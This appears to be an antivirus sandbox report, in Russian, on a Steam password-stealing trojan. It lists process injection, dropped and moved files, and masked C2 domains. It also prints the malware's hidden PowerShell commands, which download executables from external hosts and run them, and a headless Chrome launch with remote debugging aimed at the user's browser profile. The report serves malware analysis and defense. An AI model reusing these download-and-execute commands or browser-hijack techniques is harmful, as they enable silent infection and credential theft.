Trojan.PWS.Steam.39912

Техническая информация

Вредоносные функции

Внедряет код в

следующие системные процессы:

<SYSTEM32>\disksnapshot.exe
<SYSTEM32>\lsaiso.exe

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\bk210714.exe
%TEMP%\bk804556.exe
%APPDATA%\hpsr293418.exe
%ALLUSERSPROFILE%\vstos
%ALLUSERSPROFILE%\bungee.boo

Перемещает следующие файлы

%ALLUSERSPROFILE%\bungee.boo в %WINDIR%\omadmapi.dll

Сетевая активность

Подключается к

'vc###ibrary.uk':443
'ex##api.tf':443
'x1.#.lencr.org':80
'18#.#1.252.170':80
'st####ommunity.com':443
'dn#.google':443
'nu####ervices.com':443
'st####ommunity.com':80
'18#.#14.96.1':80
'google.com':80
'localhost':49720
'localhost':49724
'localhost':49728
'localhost':49732

TCP

Запросы HTTP GET

http://x1.#.lencr.org/
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?8b##############
http://st####ommunity.com/profiles/76561198764661885/ajaxaliases/
http://nu####ervices.com/Stb/PokerFace/init.php?id###############

Другие

'vc###ibrary.uk':443
'ex##api.tf':443
'st####ommunity.com':443
'dn#.google':443
'nu####ervices.com':443
'localhost':49720
'localhost':49721
'localhost':49724
'localhost':49725
'localhost':49728
'localhost':49729
'localhost':49732
'localhost':49733

UDP

DNS ASK vc###ibrary.uk
DNS ASK ex##api.tf
DNS ASK x1.#.lencr.org
DNS ASK st####ommunity.com
DNS ASK dn#.google
DNS ASK nu####ervices.com
DNS ASK google.com

Другое

Создает и запускает на исполнение

'%TEMP%\bk804556.exe'
'%APPDATA%\hpsr293418.exe'
'%APPDATA%\bk210714.exe'

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK804556.exe; Start-Proc...
'<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK804556.exe; Start-Process -FilePath $env:TEM...
'<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK210714.exe; Start-Proce...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK804556.exe; Start-Process -FilePath $env:TEMP\BK804556.exe...
'<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK210714.exe; Start-Process -FilePath $env:APPD...
'<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:APPDATA\HP...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK210714.exe; Start-Process -FilePath $env:APPDATA\BK210714.e...
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:APPDATA\HPSR293418.exe; Start-Pr...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:APPDATA\HPSR293418.exe; Start-Process -FilePat...
'<SYSTEM32>\disksnapshot.exe'
'<SYSTEM32>\lsaiso.exe'
'<SYSTEM32>\cmd.exe' cmd.exe /c "move "%ALLUSERSPROFILE%\bungee.boo" "%WINDIR%\omadmapi.dll""
'<SYSTEM32>\cmd.exe' /c "move "%ALLUSERSPROFILE%\bungee.boo" "%WINDIR%\omadmapi.dll""
'%TEMP%\bk804556.exe' (со скрытым окном)
'%APPDATA%\hpsr293418.exe' (со скрытым окном)
'%APPDATA%\bk210714.exe' (со скрытым окном)
'%LOCALAPPDATA%\google\chrome\application\chrome.exe' --headless --disable-gpu --no-sandbox --disable-dev-shm-usage --user-data-dir="%LOCALAPPDATA%\Google\Chrome\User Data" --remote-debugging-port=0 (со скрытым окном)